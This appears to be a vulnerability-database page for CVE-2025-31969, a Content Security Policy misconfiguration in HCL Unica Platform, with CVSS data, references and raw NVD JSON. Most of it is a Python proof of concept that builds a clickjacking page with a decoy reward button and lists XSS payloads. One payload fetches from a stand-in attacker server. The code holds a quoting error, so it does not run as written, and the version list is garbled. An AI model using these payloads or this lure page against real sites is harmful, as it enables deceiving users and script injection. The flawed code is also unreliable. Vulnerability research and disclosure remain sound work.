CVE-2025-31969

Description

HCL Unica Platform is impacted by misconfigured Content Security Policy (CSP). These can result in malicious resources getting loaded and browsers may come across certain types of attacks, such as cross-site scripting and clickjacking.

CVSS Details

CVSS Score

4.0

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:A/AC:H/PR:H/UI:N/S:C/C:L/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:hcltech:unica:*:*:*:*:*:*:*:* - VULNERABLE

HCL Unica Platform 12.1.x

HCL Unica Platform 12.0.x

HCL Unica Platform 11.1.x

HCL Unica Platform 12.1.0.0 至 12.1.0.8

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-31969 PoC - HCL Unica Platform CSP Misconfiguration
# This PoC demonstrates how a misconfigured CSP can be exploited
# for clickjacking and XSS attacks

import requests
from urllib.parse import urljoin

TARGET_URL = "https://target-hcl-unica-platform.com"
MALICIOUS_PAYLOAD_URL = "https://attacker-controlled-server.com/payload.js"

def check_csp_headers(target_url):
    """Check the Content Security Policy headers of the target application"""
    response = requests.get(target_url)
    csp_header = response.headers.get('Content-Security-Policy', None)
    
    if csp_header is None:
        print("[!] No CSP header found - VULNERABLE")
        return True
    
    # Check for weak/misconfigured CSP directives
    weak_indicators = [
        "unsafe-inline",
        "unsafe-eval",
        "*",  # wildcard source
        "data:",
        "https:"  # overly broad https allowance
    ]
    
    for indicator in weak_indicators:
        if indicator in csp_header:
            print(f"[!] Weak CSP directive found: {indicator}")
            return True
    
    print("[+] CSP appears to be properly configured")
    return False

def clickjacking_poc(target_url):
    """Generate a clickjacking PoC HTML page"""
    html_content = f"""<!DOCTYPE html>
<html>
<head>
    <title>Clickjacking PoC for CVE-2025-31969</title>
    <style>
        iframe {{
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            opacity: 0.5;
            z-index: 2;
        }}
        .decoy {{
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            z-index: 1;
        }}
    </style>
</head>
<body>
    <div class="decoy">
        <button onclick="document.forms[0].submit();">
            Click here to claim your reward!
        </button>
    </div>
    <iframe src="{target_url}"></iframe>
</body>
</html>"""
    
    with open("clickjacking_poc.html", "w") as f:
        f.write(html_content)
    print("[+] Clickjacking PoC saved to clickjacking_poc.html")

def xss_via_csp_bypass(target_url):
    """Demonstrate XSS payload that may bypass weak CSP"""
    # Example payloads that work with unsafe-inline or wildcard script-src
    payloads = [
        "<script>alert('XSS via CSP bypass')</script>",
        "<img src=x onerror=fetch('" + MALICIOUS_PAYLOAD_URL + "')">",
        "<svg onload=alert(1)>"
    ]
    
    print("[*] XSS payloads that may bypass misconfigured CSP:")
    for payload in payloads:
        print(f"    {payload}")

if __name__ == "__main__":
    if check_csp_headers(TARGET_URL):
        clickjacking_poc(TARGET_URL)
        xss_via_csp_bypass(TARGET_URL)
        print("\n[!] Target appears vulnerable to CVE-2025-31969")
    else:
        print("\n[+] Target does not appear to be vulnerable")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-31969
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-31969
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-31969/
[4] VulDB https://vuldb.com/cve/CVE-2025-31969
[5] https://support.hcl-software.com/csm?id=kb_article&sysparm_article=KB0124417

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-31969", "sourceIdentifier": "[email protected]", "published": "2025-10-12T08:15:40.210", "lastModified": "2025-10-20T16:59:29.480", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "HCL Unica Platform is impacted by misconfigured Content Security Policy (CSP). These can result in malicious resources getting loaded and browsers may come across certain types of attacks, such as cross-site scripting and clickjacking."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:H/PR:H/UI:N/S:C/C:L/I:N/A:L", "baseScore": 4.0, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.0, "impactScore": 2.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-358"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hcltech:unica:*:*:*:*:*:*:*:*", "versionEndIncluding": "25.1.0", "matchCriteriaId": "B287D9C3-B8E1-4988-864C-855E14105538"}]}]}], "references": [{"url": "https://support.hcl-software.com/csm?id=kb_article&sysparm_article=KB0124417", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}